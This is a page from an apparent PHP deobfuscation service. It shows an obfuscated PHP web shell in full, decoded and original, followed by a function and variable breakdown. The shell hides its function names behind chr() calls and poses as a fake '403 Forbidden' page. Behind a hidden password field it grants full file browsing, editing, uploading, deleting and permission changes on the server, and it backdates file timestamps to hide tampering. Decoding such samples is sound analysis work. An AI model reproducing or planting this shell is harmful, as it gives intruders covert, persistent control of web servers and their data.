Find this useful? Enter your email to receive occasional updates for securing PHP code.

PHP Decode

$Fun = explode(';',chr(115).chr(101).chr(115).chr(115).chr(105).chr(111).chr(110).chr(95)...

Decoded Output download

<?  $Fun = explode(';',chr(115).chr(101).chr(115).chr(115).chr(105).chr(111).chr(110).chr(95).chr(115).chr(116).chr(97).chr(114).chr(116).chr(59).chr(97).chr(114).chr(114).chr(97).chr(121).chr(95).chr(109).chr(101).chr(114).chr(103).chr(101).chr(59).chr(115).chr(117).chr(98).chr(115).chr(116).chr(114).chr(59).chr(109).chr(100).chr(53).chr(59).chr(100).chr(105).chr(114).chr(110).chr(97).chr(109).chr(101).chr(59).chr(100).chr(97).chr(116).chr(101).chr(59).chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(59).chr(116).chr(111).chr(117).chr(99).chr(104).chr(59).chr(115).chr(116).chr(114).chr(116).chr(111).chr(116).chr(105).chr(109).chr(101).chr(59).chr(105).chr(115).chr(95).chr(102).chr(105).chr(108).chr(101).chr(59).chr(102).chr(105).chr(108).chr(101).chr(95).chr(103).chr(101).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(59).chr(102).chr(105).chr(108).chr(101).chr(109).chr(116).chr(105).chr(109).chr(101).chr(59).chr(109).chr(111).chr(118).chr(101).chr(95).chr(117).chr(112).chr(108).chr(111).chr(97).chr(100).chr(101).chr(100).chr(95).chr(102).chr(105).chr(108).chr(101).chr(59).chr(99).chr(104).chr(109).chr(111).chr(100).chr(59).chr(99).chr(111).chr(117).chr(110).chr(116).chr(59).chr(117).chr(110).chr(108).chr(105).chr(110).chr(107).chr(59).chr(109).chr(107).chr(100).chr(105).chr(114).chr(59).chr(114).chr(109).chr(100).chr(105).chr(114).chr(59).chr(114).chr(101).chr(110).chr(97).chr(109).chr(101).chr(59).chr(103).chr(108).chr(111).chr(98).chr(59).chr(112).chr(114).chr(101).chr(103).chr(95).chr(114).chr(101).chr(112).chr(108).chr(97).chr(99).chr(101).chr(59).chr(102).chr(105).chr(108).chr(101).chr(115).chr(105).chr(122).chr(101).chr(59).chr(115).chr(112).chr(114).chr(105).chr(110).chr(116).chr(102).chr(59).chr(102).chr(105).chr(108).chr(101).chr(112).chr(101).chr(114).chr(109).chr(115).chr(59).chr(117).chr(114).chr(108).chr(101).chr(110).chr(99).chr(111).chr(100).chr(101).chr(59).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(101).chr(110).chr(99).chr(111).chr(100).chr(101).chr(59).chr(112).chr(114).chr(101).chr(103).chr(95).chr(109).chr(97).chr(116).chr(99).chr(104).chr(59).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(59).chr(117).chr(114).chr(108).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(59).chr(116).chr(105).chr(109).chr(101)); 
function AA() { global $Fun;@$Fun[0]();$data = $Fun[1]($_GET, $_POST);if(!empty($_SESSION['sid']) || $Fun[2]($Fun[3]($Fun[3](@$data['id'])),0,28)=='b398ae271589319373c948d8cde8') {$_SESSION['sid'] = 1;BB();} else {exit('<!DOCTYPE html><html><head><title>403 Forbidden.</title></head><body><h1>Forbidden</h1><p>You donot have permission to access / on this server.<br /></p><form action="" method="post"><input type="password" name="id" style="border:0;margin-top:200px"></form></body></html>');}} AA(); 
function BB() { global $Fun;$Path = $Fun[4](__FILE__);$time = $Fun[29]()-8888888;$vifiletime = $Fun[5]('Y-m-d H:i:s',$time);$data = $_GET;$msg = '';$lsdir = isset($data['id']) ? _urlde($data['id']) : $Path;$vifile = isset($data['vid']) ? _urlde($data['vid']) : '';$rm = isset($data['rm']) ? _urlde($data['rm']) : '';if (!empty($vifile)) {if (isset($_POST['txt'])) {$Fun[6]($vifile,$_POST['txt']);if (isset($_POST['time'])) $Fun[7]($vifile,$Fun[8]($_POST['time']));$msg = 'ok';}$vifiletxt = '';if($Fun[9]($vifile)) {$vifiletxt = $Fun[10]($vifile);$vifiletime = $Fun[5]('Y-m-d H:i:s',$Fun[11]($vifile));}$lsdir = $Fun[4]($vifile);} elseif (!empty($_FILES['upf'])) {$upf = $_FILES['upf']; if($Fun[12]($upf['tmp_name'], $lsdir.'/'.$upf['name'])) {$Fun[13]($lsdir.'/'.$upf['name'],0755);$Fun[7]($lsdir.'/'.$upf['name'],$time);$msg = 'upfOK';}} elseif (!empty($_FILES['uf'])) {$up_files = $_FILES['uf']; $up_ok = 0;for($I=0;$I<$Fun[14]($up_files['name']);$I++) {if($Fun[12]($up_files['tmp_name'][$I], $lsdir.'/'.$up_files['name'][$I])) {$Fun[13]($lsdir.'/'.$up_files['name'][$I],0755);$up_ok++;if (isset($_POST['time'])) $Fun[7]($lsdir.'/'.$up_files['name'][$I],$Fun[8]($_POST['time']));}}$msg = 'upload = ' . $up_ok;} elseif (!empty($rm)) {$Fun[15]($rm);} elseif (!empty($data['mkd'])) {$Fun[16]($data['mkd']);} elseif (!empty($data['rmd'])) {$Fun[17]($data['rmd']);} elseif (!empty($data['rna'])&&!empty($data['rnb'])) {$Fun[18]($data['rna'],$data['rnb']);$Fun[7]($data['rnb'],$time);} elseif (!empty($data['cha'])) {$Fun[13]($data['cha'],0755);}$output = '';foreach($Fun[19]($lsdir.'/*', GLOB_ONLYDIR) as $v) {$output .= '<div class="list dir"><span>'.$Fun[20]('/.*\//','',$v).'</span><i>'.$Fun[5]('Y-m-d H:i:s',$Fun[11]($v)).'</i><u>'.$Fun[21]($v).'</u><b>'.$Fun[2]($Fun[22]("%o",$Fun[23]($v)),-4).'</b><a href="?id='._url($v).'">open</a></div>';}foreach($Fun[19]($lsdir.'/{*,.*,*.}', GLOB_BRACE) as $v) {if($Fun[9]($v)) $output .= '<div class="list file"><span>'.$Fun[20]('/.*\//','',$v).'</span><i>'.$Fun[5]('Y-m-d H:i:s',$Fun[11]($v)).'</i><u>'.$Fun[21]($v).'</u><b>'.$Fun[2]($Fun[22]("%o",$Fun[23]($v)),-4).'</b><a href="?vid='._url($v).'">edit</a> = <a href="?rm='._url($v).'" onclick="return confirm(\'DEL\')">del</a></div>';}echo '<!DOCTYPE html><html><head><title>Admin</title><style>body{}*{vertical-align:middle;margin:0;padding:0;font:14px/18px tahoma;}.l{float:left;}.r{float:right;}header{height:30px;background:#000;color:#fff;padding:5px}header a{color:#fff;margin:3px}header form{display:inline-block;margin-right:5px;padding-right:5px}input{padding:3px;width:120px;font-size:12px;background:#fff;outline:0;}button{height:26px;width:30px;cursor:pointer;}textarea{padding:5px;width:90%;margin-top:5px}.msg{color:red}.dir{color:green;}#edit{padding:0 10px 10px}.list{line-height:20px;}.list:hover{background:#eee;}.list *{display:inline-block;text-align:left;width:100px;font-style:normal}.list span,.list i{width:200px;}.list a{display:inline;color:red}#output{padding:10px}</style></head><body><header><div class="l"><form method="get" action=""><input type="text" name="id" value="'.$lsdir.'" style="width:200px"><button type="submit">id</button></form><form method="post" enctype="multipart/form-data" action=""><input type="file" name="uf[]" multiple style="width:20px"><button type="submit">up</button><input type="text" name="time" value="'.$vifiletime.'" class="i"></form><form method="get" action=""><input type="text" name="vid" value="'.$lsdir.'/" style="width:200px"><button type="submit">vid</button></form></div><span><a href="?id='._url($Path).'">PATH</a> <a href="?id='._url($_SERVER['DOCUMENT_ROOT']).'">WWW</a></span><span class="msg">'.$msg.'</span></header>'.(isset($vifiletxt)?'<div id="edit"><form method="post" action=""><input type="text" name="time" value="'.$vifiletime.'" class="i"><button type="submit">Save</button><br><textarea name="txt" rows="40">'.$vifiletxt.'</textarea></form></div>':'<div id="output">'.$output.'</div>').'</body></html>';exit;} 
function _url($s) { global $Fun;$s = $Fun[24]($Fun[25]($s));return $s;} 
function _urlde($s) { global $Fun;if($Fun[26]('/^\//',$s) || $Fun[26]('/(:|\.)/',$s)) return $s;$s = $Fun[27]($Fun[28]($s));return $s;} 
?>

Did this file decode correctly?

Original Code

$Fun = explode(';',chr(115).chr(101).chr(115).chr(115).chr(105).chr(111).chr(110).chr(95).chr(115).chr(116).chr(97).chr(114).chr(116).chr(59).chr(97).chr(114).chr(114).chr(97).chr(121).chr(95).chr(109).chr(101).chr(114).chr(103).chr(101).chr(59).chr(115).chr(117).chr(98).chr(115).chr(116).chr(114).chr(59).chr(109).chr(100).chr(53).chr(59).chr(100).chr(105).chr(114).chr(110).chr(97).chr(109).chr(101).chr(59).chr(100).chr(97).chr(116).chr(101).chr(59).chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(59).chr(116).chr(111).chr(117).chr(99).chr(104).chr(59).chr(115).chr(116).chr(114).chr(116).chr(111).chr(116).chr(105).chr(109).chr(101).chr(59).chr(105).chr(115).chr(95).chr(102).chr(105).chr(108).chr(101).chr(59).chr(102).chr(105).chr(108).chr(101).chr(95).chr(103).chr(101).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(59).chr(102).chr(105).chr(108).chr(101).chr(109).chr(116).chr(105).chr(109).chr(101).chr(59).chr(109).chr(111).chr(118).chr(101).chr(95).chr(117).chr(112).chr(108).chr(111).chr(97).chr(100).chr(101).chr(100).chr(95).chr(102).chr(105).chr(108).chr(101).chr(59).chr(99).chr(104).chr(109).chr(111).chr(100).chr(59).chr(99).chr(111).chr(117).chr(110).chr(116).chr(59).chr(117).chr(110).chr(108).chr(105).chr(110).chr(107).chr(59).chr(109).chr(107).chr(100).chr(105).chr(114).chr(59).chr(114).chr(109).chr(100).chr(105).chr(114).chr(59).chr(114).chr(101).chr(110).chr(97).chr(109).chr(101).chr(59).chr(103).chr(108).chr(111).chr(98).chr(59).chr(112).chr(114).chr(101).chr(103).chr(95).chr(114).chr(101).chr(112).chr(108).chr(97).chr(99).chr(101).chr(59).chr(102).chr(105).chr(108).chr(101).chr(115).chr(105).chr(122).chr(101).chr(59).chr(115).chr(112).chr(114).chr(105).chr(110).chr(116).chr(102).chr(59).chr(102).chr(105).chr(108).chr(101).chr(112).chr(101).chr(114).chr(109).chr(115).chr(59).chr(117).chr(114).chr(108).chr(101).chr(110).chr(99).chr(111).chr(100).chr(101).chr(59).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(101).chr(110).chr(99).chr(111).chr(100).chr(101).chr(59).chr(112).chr(114).chr(101).chr(103).chr(95).chr(109).chr(97).chr(116).chr(99).chr(104).chr(59).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(59).chr(117).chr(114).chr(108).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(59).chr(116).chr(105).chr(109).chr(101));
function AA() { global $Fun;@$Fun[0]();$data = $Fun[1]($_GET, $_POST);if(!empty($_SESSION['sid']) || $Fun[2]($Fun[3]($Fun[3](@$data['id'])),0,28)=='b398ae271589319373c948d8cde8') {$_SESSION['sid'] = 1;BB();} else {exit('<!DOCTYPE html><html><head><title>403 Forbidden.</title></head><body><h1>Forbidden</h1><p>You donot have permission to access / on this server.<br /></p><form action="" method="post"><input type="password" name="id" style="border:0;margin-top:200px"></form></body></html>');}} AA();
function BB() { global $Fun;$Path = $Fun[4](__FILE__);$time = $Fun[29]()-8888888;$vifiletime = $Fun[5]('Y-m-d H:i:s',$time);$data = $_GET;$msg = '';$lsdir = isset($data['id']) ? _urlde($data['id']) : $Path;$vifile = isset($data['vid']) ? _urlde($data['vid']) : '';$rm = isset($data['rm']) ? _urlde($data['rm']) : '';if (!empty($vifile)) {if (isset($_POST['txt'])) {$Fun[6]($vifile,$_POST['txt']);if (isset($_POST['time'])) $Fun[7]($vifile,$Fun[8]($_POST['time']));$msg = 'ok';}$vifiletxt = '';if($Fun[9]($vifile)) {$vifiletxt = $Fun[10]($vifile);$vifiletime = $Fun[5]('Y-m-d H:i:s',$Fun[11]($vifile));}$lsdir = $Fun[4]($vifile);} elseif (!empty($_FILES['upf'])) {$upf = $_FILES['upf']; if($Fun[12]($upf['tmp_name'], $lsdir.'/'.$upf['name'])) {$Fun[13]($lsdir.'/'.$upf['name'],0755);$Fun[7]($lsdir.'/'.$upf['name'],$time);$msg = 'upfOK';}} elseif (!empty($_FILES['uf'])) {$up_files = $_FILES['uf']; $up_ok = 0;for($I=0;$I<$Fun[14]($up_files['name']);$I++) {if($Fun[12]($up_files['tmp_name'][$I], $lsdir.'/'.$up_files['name'][$I])) {$Fun[13]($lsdir.'/'.$up_files['name'][$I],0755);$up_ok++;if (isset($_POST['time'])) $Fun[7]($lsdir.'/'.$up_files['name'][$I],$Fun[8]($_POST['time']));}}$msg = 'upload = ' . $up_ok;} elseif (!empty($rm)) {$Fun[15]($rm);} elseif (!empty($data['mkd'])) {$Fun[16]($data['mkd']);} elseif (!empty($data['rmd'])) {$Fun[17]($data['rmd']);} elseif (!empty($data['rna'])&&!empty($data['rnb'])) {$Fun[18]($data['rna'],$data['rnb']);$Fun[7]($data['rnb'],$time);} elseif (!empty($data['cha'])) {$Fun[13]($data['cha'],0755);}$output = '';foreach($Fun[19]($lsdir.'/*', GLOB_ONLYDIR) as $v) {$output .= '<div class="list dir"><span>'.$Fun[20]('/.*\//','',$v).'</span><i>'.$Fun[5]('Y-m-d H:i:s',$Fun[11]($v)).'</i><u>'.$Fun[21]($v).'</u><b>'.$Fun[2]($Fun[22]("%o",$Fun[23]($v)),-4).'</b><a href="?id='._url($v).'">open</a></div>';}foreach($Fun[19]($lsdir.'/{*,.*,*.}', GLOB_BRACE) as $v) {if($Fun[9]($v)) $output .= '<div class="list file"><span>'.$Fun[20]('/.*\//','',$v).'</span><i>'.$Fun[5]('Y-m-d H:i:s',$Fun[11]($v)).'</i><u>'.$Fun[21]($v).'</u><b>'.$Fun[2]($Fun[22]("%o",$Fun[23]($v)),-4).'</b><a href="?vid='._url($v).'">edit</a> = <a href="?rm='._url($v).'" onclick="return confirm(\'DEL\')">del</a></div>';}echo '<!DOCTYPE html><html><head><title>Admin</title><style>body{}*{vertical-align:middle;margin:0;padding:0;font:14px/18px tahoma;}.l{float:left;}.r{float:right;}header{height:30px;background:#000;color:#fff;padding:5px}header a{color:#fff;margin:3px}header form{display:inline-block;margin-right:5px;padding-right:5px}input{padding:3px;width:120px;font-size:12px;background:#fff;outline:0;}button{height:26px;width:30px;cursor:pointer;}textarea{padding:5px;width:90%;margin-top:5px}.msg{color:red}.dir{color:green;}#edit{padding:0 10px 10px}.list{line-height:20px;}.list:hover{background:#eee;}.list *{display:inline-block;text-align:left;width:100px;font-style:normal}.list span,.list i{width:200px;}.list a{display:inline;color:red}#output{padding:10px}</style></head><body><header><div class="l"><form method="get" action=""><input type="text" name="id" value="'.$lsdir.'" style="width:200px"><button type="submit">id</button></form><form method="post" enctype="multipart/form-data" action=""><input type="file" name="uf[]" multiple style="width:20px"><button type="submit">up</button><input type="text" name="time" value="'.$vifiletime.'" class="i"></form><form method="get" action=""><input type="text" name="vid" value="'.$lsdir.'/" style="width:200px"><button type="submit">vid</button></form></div><span><a href="?id='._url($Path).'">PATH</a> <a href="?id='._url($_SERVER['DOCUMENT_ROOT']).'">WWW</a></span><span class="msg">'.$msg.'</span></header>'.(isset($vifiletxt)?'<div id="edit"><form method="post" action=""><input type="text" name="time" value="'.$vifiletime.'" class="i"><button type="submit">Save</button><br><textarea name="txt" rows="40">'.$vifiletxt.'</textarea></form></div>':'<div id="output">'.$output.'</div>').'</body></html>';exit;}
function _url($s) { global $Fun;$s = $Fun[24]($Fun[25]($s));return $s;}
function _urlde($s) { global $Fun;if($Fun[26]('/^\//',$s) || $Fun[26]('/(:|\.)/',$s)) return $s;$s = $Fun[27]($Fun[28]($s));return $s;}
?>

Function Calls

AA	1
chr	285
explode	1
array_merge	1
session_start	1

Variables

$Fun

[{'key': None, 'value': 'session_start'}, {'key': None, 'value': 'array_merge'}, {'key': None, 'value': 'substr'}, {'key': None, 'value': 'md5'}, {'key': None, 'value': 'dirname'}, {'key': None, 'value': 'date'}, {'key': None, 'value': 'file_put_contents'}, {'key': None, 'value': 'touch'}, {'key': None, 'value': 'strtotime'}, {'key': None, 'value': 'is_file'}, {'key': None, 'value': 'file_get_contents'}, {'key': None, 'value': 'filemtime'}, {'key': None, 'value': 'move_uploaded_file'}, {'key': None, 'value': 'chmod'}, {'key': None, 'value': 'count'}, {'key': None, 'value': 'unlink'}, {'key': None, 'value': 'mkdir'}, {'key': None, 'value': 'rmdir'}, {'key': None, 'value': 'rename'}, {'key': None, 'value': 'glob'}, {'key': None, 'value': 'preg_replace'}, {'key': None, 'value': 'filesize'}, {'key': None, 'value': 'sprintf'}, {'key': None, 'value': 'fileperms'}, {'key': None, 'value': 'urlencode'}, {'key': None, 'value': 'base64_encode'}, {'key': None, 'value': 'preg_match'}, {'key': None, 'value': 'base64_decode'}, {'key': None, 'value': 'urldecode'}, {'key': None, 'value': 'time'}]

Stats

MD5	fbd433d5dc2cd104172e790d9d0d26b7
Eval Count	0
Decode Time	344 ms